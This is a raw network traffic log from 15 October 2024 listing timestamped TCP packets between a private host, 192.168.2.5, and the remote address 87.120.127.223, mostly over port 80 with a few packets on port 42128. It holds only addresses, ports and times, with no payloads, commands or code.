Oct 15, 2024 19:22:36.735815048 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.738042116 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.738095999 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.738132000 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.738164902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.738183022 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.738198042 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.738215923 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.738398075 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.738432884 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.738450050 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.738467932 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.738513947 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.738962889 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.738996983 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.739027977 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.739082098 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.739151955 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.739186049 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.739203930 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.739218950 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.739451885 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.739485025 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.739495039 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.739517927 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.739552021 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.743638039 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.743721962 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.743810892 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.743844986 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.743868113 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.743877888 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.743897915 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.743911982 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.743957996 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.744003057 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.744096041 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.744147062 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.744147062 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.744184017 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.744421959 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.749598980 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.749654055 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.749686956 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.749721050 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.749731064 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.749779940 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.778837919 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.778892040 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.778923035 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.778947115 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.778980970 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.810620070 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.810671091 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.810703039 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.810719013 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.848979950 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.849029064 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.849210024 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.849244118 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.849277020 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.849286079 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.849311113 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.849654913 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.853281975 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.853357077 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.853387117 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.853415012 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.853419065 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.853461027 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.856574059 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.856676102 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.856724977 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.856758118 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.856759071 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.856791019 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.856820107 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.856827021 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.856879950 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.857019901 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.857072115 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.857100010 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.857120037 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.857343912 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.857393026 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.857435942 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.857441902 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.857759953 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.857793093 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.857810974 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.857825994 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.857835054 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.858027935 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.858072996 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.858078957 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.858109951 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.858169079 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.860552073 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.865468979 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.865524054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.865556955 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.865582943 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.865591049 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.865612984 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.865739107 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.865827084 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.865880966 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.865972042 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.866003990 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.866020918 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.866036892 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.866147995 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.866386890 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.866420031 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.866453886 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.866498947 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.866786003 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.866851091 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.867026091 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.896393061 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.896541119 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.896573067 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.896591902 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.925812006 CEST	42128	49809	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.927952051 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.928076982 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.928108931 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.928133965 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.928200960 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.968535900 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.968692064 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.968741894 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.968775988 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.968790054 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.968811035 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.968843937 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.968846083 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.968887091 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.972690105 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.972819090 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.972847939 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.972878933 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.972881079 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.972913027 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.972923994 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.976123095 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976183891 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976190090 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.976222992 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976257086 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976293087 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976308107 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.976331949 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976366043 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976380110 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.976418972 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976423025 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.976452112 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976485968 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.976495981 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.977092981 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.977128029 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.977157116 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.977163076 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.977202892 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.977380991 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.977432966 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.977468014 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.977499008 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.977515936 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.977531910 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.977546930 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.983191013 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.983258009 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.983284950 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.983318090 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.983374119 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.983377934 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.983464003 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.983500957 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.983551979 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.983850002 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.983912945 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.983964920 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.983968973 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.983999014 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.984010935 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.984034061 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.984081984 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:36.987320900 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.987473011 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:36.987793922 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.010035038 CEST	49809	42128	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.014504910 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.014550924 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.014586926 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.014622927 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.014659882 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.024027109 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.024163008 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.024195910 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.024236917 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.045892954 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.046101093 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.046144962 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.046184063 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.086034060 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.086137056 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.086169958 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.086209059 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.086262941 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.086332083 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.086364985 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.086548090 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.090778112 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.090832949 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.090866089 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.090899944 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.090945005 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.090979099 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.090991974 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.094011068 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094043970 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094091892 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094113111 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.094125032 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094151020 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.094161034 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094198942 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094249010 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.094428062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094480038 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094512939 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094532013 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.094558954 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.094786882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094835043 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094867945 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.094917059 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.095051050 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.095098972 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.095102072 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.095225096 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.095503092 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.095561028 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.095563889 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.095593929 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.095602989 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.095628023 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.095662117 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.095706940 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.099442959 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.099519968 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.099553108 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.099600077 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.099618912 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.099867105 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.100064039 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.100095034 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.100116014 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.100147009 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.100178957 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.100213051 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.100227118 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.100246906 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.100256920 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.103420973 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.103456020 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.103487015 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.103513956 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.103544950 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.134416103 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.134476900 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.134546041 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.134812117 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.134865046 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.143789053 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.143825054 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.143904924 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.143940926 CEST	49807	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.166941881 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.167021036 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.167052984 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.167110920 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.210423946 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.210532904 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.210568905 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.210599899 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.210608006 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.210635900 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.210642099 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.210683107 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.210732937 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.214181900 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.214478970 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.214520931 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.214586020 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.214621067 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.214636087 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.214831114 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.214865923 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.214920044 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.216717005 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.216751099 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.216804028 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.216806889 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.216840982 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.216852903 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.216875076 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.216907978 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.216943979 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.216953993 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.216986895 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.217128992 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217430115 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217459917 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217515945 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.217595100 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217634916 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217648983 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.217669010 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217732906 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217784882 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217804909 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.217818975 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217854023 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.217876911 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.217900038 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.218234062 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.218452930 CEST	80	49793	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220150948 CEST	49793	80	192.168.2.5	87.120.127.223
Oct 15, 2024 19:22:37.220175982 CEST	80	49807	87.120.127.223	192.168.2.5
Oct 15, 2024 19:22:37.220242023 CEST	49807	80	192.168.2.5	87.120.127.223
